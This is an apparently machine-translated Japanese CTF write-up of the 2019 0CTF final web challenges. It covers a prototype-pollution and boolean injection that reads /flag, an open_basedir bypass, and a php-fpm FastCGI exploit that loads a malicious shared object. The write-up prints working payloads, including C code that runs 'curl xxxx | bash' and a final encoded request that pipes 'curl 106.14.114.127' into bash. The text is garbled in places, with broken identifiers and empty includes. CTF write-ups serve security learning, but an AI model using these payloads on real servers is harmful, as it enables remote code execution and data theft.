実戦:2019 ctf final Web Writeup(一)

6408 ワード

前言
ハトは長い間問題解をしていたが、自分の事務に追われて、最近の試合の問題解を書く時間がなかったので、最近暇があるうちに、穴を埋めに来た.
初めて0 ctf新星戦に出場して優勝したので、とても楽しかったです.試合の過程で、webは全部で4つの問題を出して、私は幸いにも3つの問題を作って、javaは本当にあまり得意ではありませんて、泣きました(もう1つはocamlの問題で、trickと論理の問題に関連して、後ろに置いてjavaと一緒に書くつもりです(グーグーしないでほしいです).ここで他の2つの問題を書いた問題は以下の通りです.
114514_calcalcalc
本題は2019 RCTF calcalcの改版ですが、今回はこれまでの時間遅延注入の問題を制限するとともに、Bypass validatorが必要です.
私たちは__を使うことができます.proto__Bypassを実行するには、次の手順に従います.
時間注入の問題については、bool注入を使用してこの問題を解決することができます.
{"__proto__": {}, "isVip": true, "expression": "1//1 and ord(open('/flag').read()[1]) >-1 and 1
"}

phpの下:
nodejsの下:
pythonの下:
ord(open('/flag').read([1])>-1が成立するとpythonは1を返し,他の2つと一致する.ord(open('/flag').read()[1]>-1が成立しない場合はThat's classified information.–Asahina Mikuru.そのためbool注入が可能:PHP大馬
wallbreaker_not_very_hard
本題は2019 0 ctf onlineと2019*CTFの難易度向上問題で、問題が明らかな2つの条件を手に入れた.
まずはdisable_functionは、次の関数をフィルタします.
Wall B: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log

そしてopen_basedirでは、次のディレクトリが制限されています.
Wall C: /var/www/html:/tmp

タイトルのヒント:
Here's a backdoor, to help you break Wall A.
But you should find the key of the backdoor.

そこでカタログ爆破を行い、以下の書類が漏洩した.
http://192.168.1.106:10001/.index.php.swp

開いた後にバックドアが見つかりました:
ここは自然に*CTFの解法を思い付きます:珍しい熱い映画とテレビ
https://github.com/sixstars/starctf2019/tree/master/web-echohub

streamを使う必要がある以上socket_クライアントとstream_socket_sendtoはphp-fpmサービスに接続しています.では、私たちは知る必要があります.unix:///run/php/php7.3-fpm.sockファイル名はBypass open_が必要ですbasedir.
ここでは、以前のpocについて考えやすく、参考リンクは以下の通りです.
https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

構築を試みる:
chdir('/tmp');
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(ini_get('open_basedir'));
var_dump(glob('*'));

成功したbypass open_を発見basedir:
カラムディレクトリを使用すると、次のファイル名が見つかります.
ただし、/var/run/php/U_を使用してみます.wi11_nev3r_kn0w.sock、*ctf expを使用すると、依然としてdisable functionに制限されていることがわかります.bypass disable functionを継続しなければなりません.
では、自然と広がりを導入する場所を探してhackを導入することを考えやすい.soファイル、hook関数、RCEの目的を達成した点は、前の2019 ctf onlineの時とよく似ており、当時すでに既成の拡張と利用可能な関数が与えられていた.
ph牛の記事を参考にしてみましょう.
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

本文ではph牛の剖析が非常に透徹しており,fastcgiプロトコルとfpmを構築して通信する必要があることを知った以上,PHP−FPMの不正アクセスホールを理解するのに役立つ.
ではfastcgiでdisableが変更されているかどうかを見つける必要があります.functionsのオプション、またはextensionのオプションを導入します.同時にauto_を利用prepend_fileとauto_append_fileはphpに任意のコードを実行させる.さらに、PHP-FPMの2つの環境変数、PHP_VALUEとPHP_ADMIN_VALUE.この2つの環境変数は、PHPプロファイルを設定するために使用されます.PHP_VALUEはPHP_に設定可能INI_USERとPHP_INI_ALLのオプション、PHP_ADMIN_VALUEでは、すべてのオプションを設定できます.でもdisable_functionsを除いて、このオプションはPHPがロードされたときに決定され、範囲内の関数はPHPコンテキストに直接ロードされません.
だから考えはもっと明確になりましたPHPを見つけるべきですADMIN_VALUEのオプションの1つは、extensionを導入するのに役立ちます.
検索が容易で、指定した場所のsoファイルを導入するには、次の方法があります.
PHP_ADMIN_VALUE['extension'] = /tmp/sky.so

ph牛が提供するスクリプトを書き換えます.
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

次のexpを構築できます.
%01%01%F8%F1%00%08%00%00%00%01%00%00%00%00%00%00%01%04%F8%F1%01%DC%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%F8%F1%00%00%00%00%01%05%F8%F1%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%F8%F1%00%00%00%00

しかし、使用する前に、まず/tmpディレクトリの下に悪意のあるsoファイルをアップロードする必要があります.githubプロジェクトを利用して構築します.
#define _GNU_SOURCE
#include 
#include 
#include 
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl xxxx | bash");
}

次にコンパイル:
gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so

次にsky.soアップロード:
$upload = '/tmp/sky.so';
echo copy("http://vps_ip/sky.so", $upload);

最後に、上記のexpを統合し、完全なPayloadを提供します.
$fp = stream_socket_client("/var/run/php/U_wi11_nev3r_kn0w.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'

を選択します.
後記
総じて言えば、この文章の2つの問題は、前の試合のテーマのアップグレード版なのか、それとも面白いのか.